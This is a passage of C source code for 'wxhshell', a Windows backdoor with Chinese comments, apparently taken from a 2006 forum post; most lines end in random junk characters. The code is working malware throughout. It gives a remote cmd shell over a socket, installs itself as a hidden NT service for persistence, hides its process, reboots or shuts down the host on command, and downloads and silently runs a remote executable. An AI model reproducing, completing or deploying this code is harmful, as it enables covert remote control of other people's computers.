    break; Z0 [)u_<  
  } )%iRZ\`f  
  // 安装 F>~ xzc  
  case 'i': { <`R|a *  
    if(Install()) \!+-4,CbZY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ME}Cv`?<E  
    else IPl@ DH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  SwdC,  
    break; I#|ocz  
    } .q0218l:dF  
  // 卸载 .O5LI35,  
  case 'r': { r-RCe3%g%  
    if(Uninstall()) gEZwW]r-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NXzU0  
    else tmO;:n<N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )Qh>0T+(  
    break; cS<TmS!  
    } Qw24/DJK  
  // 显示 wxhshell 所在路径 Z69+yOJI  
  case 'p': { N#(jK1` y  
    char svExeFile[MAX_PATH]; 8{R_6BS  
    strcpy(svExeFile,"\n\r"); ! jbEm8bt  
      strcat(svExeFile,ExeFile); _Kc 1  
        send(wsh,svExeFile,strlen(svExeFile),0); )\{'fF  
    break; IK*oFo{C=K  
    } Y%<`;wK=^  
  // 重启 \*f;!{P{  
  case 'b': { az0cS*@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &EAk z  
    if(Boot(REBOOT)) [096CK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]>tq|R78  
    else { ;yF[2P ;  
    closesocket(wsh); H4M{_2DO  
    ExitThread(0); NH'1rt(w  
    } Eo%UuSi  
    break; +yzcx3<  
    } Tr}R`6d$  
  // 关机 2HcsQ*H] G  
  case 'd': { cyW;,uT)D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'oleB_B  
    if(Boot(SHUTDOWN)) :e1'o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^9&b+u=X  
    else { Da"yZ\4  
    closesocket(wsh); nIfN"  
    ExitThread(0); `5~7IPl3  
    } YecT 96%  
    break; C&=x3Cz  
    } l iw,O 6  
  // 获取shell xTW3UY  
  case 's': { N<9w{zIK(  
    CmdShell(wsh); "Dyym<J  
    closesocket(wsh); @ru<4`h  
    ExitThread(0); |2z}Xm5\  
    break; {tPnj_|n<  
  } m"n.Dz/S  
  // 退出 wD`[5~C{  
  case 'x': { >G]?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i-`,/e~XT  
    CloseIt(wsh); )))2f skZ  
    break; #nKRTb+{  
    } g^1r0.Sp{8  
  // 离开  AlO,o[0  
  case 'q': { YU&4yk lE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ig<}dM.Z[  
    closesocket(wsh); '<TD6jBs  
    WSACleanup(); Q~phGD3!~  
    exit(1); ] bIt@GB  
    break; brntE:  
        } DL,[k (  
  } gWkjUz )  
  } |V lMma z  
8=:A/47=J  
  // 提示信息 'f 3HKn<L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \I;cZ>{u"}  
} lqF>=15  
  } ~L~]QN\3  
u=%y  
  return; v{o? #Sk1  
} g^jJ8k,7(  
~]&B >q  
// shell模块句柄 dsV ~|D6:  
int CmdShell(SOCKET sock) 7R: WX:  
{ `aIG;@Z  
STARTUPINFO si; /J;;|X#P  
ZeroMemory(&si,sizeof(si)); {B3(HiC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H"_v+N5=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yr5NRs  
PROCESS_INFORMATION ProcessInfo; ) !i!3  
char cmdline[]="cmd"; VUp. j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +$PFHXB  
  return 0; ^uhxURF  
} V~85oUc\-  
6J\q`q(W(  
// 自身启动模式 |~eY%LB  
int StartFromService(void) L;3aZt,#O  
{ y`rL=N#  
typedef struct $.a|ae|K  
{ F99A;M8(  
  DWORD ExitStatus; g92dw<$>  
  DWORD PebBaseAddress; Hq?&Qo  
  DWORD AffinityMask; yxvjg\!&  
  DWORD BasePriority; PcB{ = L  
  ULONG UniqueProcessId; `NQ{)N0!  
  ULONG InheritedFromUniqueProcessId; ijF V<P  
}   PROCESS_BASIC_INFORMATION; IP04l;p/  
ehE-SrkU'  
PROCNTQSIP NtQueryInformationProcess; -,^WaB7u\  
uoHqL IpQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .U 39nd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U+} y %3l  
;|!MI'Af  
  HANDLE             hProcess; >b>gr OX  
  PROCESS_BASIC_INFORMATION pbi; UT4f (Xo  
P{cos&X|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1aq2aLx  
  if(NULL == hInst ) return 0; 80}4/8  
;, rnk-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d@ZoV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /ERNS/w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Zi/-~')E  
6 Uw;C84!  
  if (!NtQueryInformationProcess) return 0; Aq"PG}Ic  
yX'IZk#_L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KaW~ERx5  
  if(!hProcess) return 0; Rboof`pVt  
$T),DUYO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wu2:'y>n  
#EG?9T  
  CloseHandle(hProcess); 1i3V!!r  
&hI>L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 333u]  
if(hProcess==NULL) return 0;  %}h`+L  
=&2$/YX0D  
HMODULE hMod; < eQ[kM  
char procName[255]; n+?-�  
unsigned long cbNeeded; #W|!fILL  
IBET'!j4"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ufP Cx|x~  
H* /&A9("  
  CloseHandle(hProcess); < Y>3  
,eXFN?CB  
if(strstr(procName,"services")) return 1; // 以服务启动 (@q3^)I4  
)[jy[[K(  
  return 0; // 注册表启动 g/#~N~&  
} YBvd q1  
~KRnr0  
// 主模块 q 5p e~  
int StartWxhshell(LPSTR lpCmdLine) ,d cg?48  
{ )b92yP{  
  SOCKET wsl; E eB3 }  
BOOL val=TRUE; t#5:\U5r.  
  int port=0; TEWAZVE*  
  struct sockaddr_in door; Pbe7SRdr^  
<tuS,.  
  if(wscfg.ws_autoins) Install(); Dx3%K S  
c&*l"  
port=atoi(lpCmdLine); hk} t:<  
h$Tr sO  
if(port<=0) port=wscfg.ws_port; [4>r6Hqxr  
&XQZs`41+  
  WSADATA data; ltSh'w0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @.ZL7$|d  
io2@}xZF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oy5+ }`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L/x(RCD  
  door.sin_family = AF_INET; Cs4hgb|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h0Jl_f#Y  
  door.sin_port = htons(port); zMGzReJ  
>vVw!.fJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -:S IS`0s  
closesocket(wsl); El (/em  
return 1; 8l23%iWxe  
} JZ=5Bpw  
{ma;G[!  
  if(listen(wsl,2) == INVALID_SOCKET) { GV8)Kor%  
closesocket(wsl); kA^A mfba  
return 1; a,n93-m(m  
} jNc<~{/  
  Wxhshell(wsl); GNU;jSh5  
  WSACleanup(); s;1e0n  
sPCMckt  
return 0; |>2: eH  
CH;;V3  
} tpYa?ZCM  
DYRE1!  
// 以NT服务方式启动 A1-qtAO]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ZEGd4_ux  
{ /{X_ .fv<v  
DWORD   status = 0; ]:et~pfW  
  DWORD   specificError = 0xfffffff; cZi[(K  
w>vH8f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :Jl Di>B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D|Si)_ Iz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4j3oT)+8  
  serviceStatus.dwWin32ExitCode     = 0; rk,p!}FqL  
  serviceStatus.dwServiceSpecificExitCode = 0; H]Wp%"L  
  serviceStatus.dwCheckPoint       = 0; _7@z_i_c  
  serviceStatus.dwWaitHint       = 0; ^i`*Wm@!  
h|p[OecG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R 1'`F{56  
  if (hServiceStatusHandle==0) return; ?N>pZR  
GMm'of#  
status = GetLastError(); A5XR3$5P  
  if (status!=NO_ERROR) r1Z<:}ZwK  
{ r )b<{u=]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 54q3R`y  
    serviceStatus.dwCheckPoint       = 0; 8=Q V N_  
    serviceStatus.dwWaitHint       = 0; Y6ben7j%-  
    serviceStatus.dwWin32ExitCode     = status; wiE]z  
    serviceStatus.dwServiceSpecificExitCode = specificError; yd>}wHt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?/d!R]3  
    return; ]k*1KP  
  } ,4Y*:JU4  
N E= w6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0x5xLg;Q  
  serviceStatus.dwCheckPoint       = 0; o.^y1mH'  
  serviceStatus.dwWaitHint       = 0; 2U9&l1P=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ` X}85  
} / Z!i;@Wf  
D$nK`r  
// 处理NT服务事件,比如:启动、停止 p5<2N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) GZ8:e3ri  
{ X/+OF'po  
switch(fdwControl) I/B1qw;MN  
{ xK;e\^v  
case SERVICE_CONTROL_STOP: "^%Z'ou  
  serviceStatus.dwWin32ExitCode = 0; (p |DcA]BX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; h\y-L~2E  
  serviceStatus.dwCheckPoint   = 0; ut5yf$%  
  serviceStatus.dwWaitHint     = 0; BXhWTGiG  
  { s;{K!L@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ez*jjm  
  } iP "EA8  
  return; ( v@jc8y  
case SERVICE_CONTROL_PAUSE: VJ{pN~_1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SI*^f\lu  
  break; < y>:B}9'  
case SERVICE_CONTROL_CONTINUE: )i!^]|$   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; PayV,8   
  break; Fe$/t(  
case SERVICE_CONTROL_INTERROGATE: %j{.0 H  
  break; :'*DMW~  
}; EXpSh}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *^h_z;{,  
} )}-$A-p#  
@GG ccF  
// 标准应用程序主函数 2c:f<>r0y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &1Fply7(Ay  
{ l4ouZR  
8#f$rs(}  
// 获取操作系统版本 ($WE=biZ&  
OsIsNt=GetOsVer(); qY# d+F,t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); nb+m.X  
<k]qH-v4  
  // 从命令行安装 ~7SH4Cr  
  if(strpbrk(lpCmdLine,"iI")) Install(); J70D+  
>o[|"oLO  
  // 下载执行文件 L2|aHI1'l  
if(wscfg.ws_downexe) { #@Y/{[s|@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2k1aX~?  
  WinExec(wscfg.ws_filenam,SW_HIDE); QnKC#   
} _Bk U+=|J  
)saR0{e0N  
if(!OsIsNt) { Q$=*aUU%G  
// 如果时win9x,隐藏进程并且设置为注册表启动 9?`RR/w  
HideProc(); O9]\Q@M.  
StartWxhshell(lpCmdLine); LSkk;)'2K  
} XDLEVSly7  
else c> G@+  
  if(StartFromService()) kh?. K#  
  // 以服务方式启动 Eark)  
  StartServiceCtrlDispatcher(DispatchTable); gyus8#sT  
else fp&Got!pB  
  // 普通方式启动 h~miP7,c<u  
  StartWxhshell(lpCmdLine); gfo}I2"  
'sU)|W(3U  
return 0; &" h]y?Q  
}
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只看该作者 1 发表于: 2006-10-10
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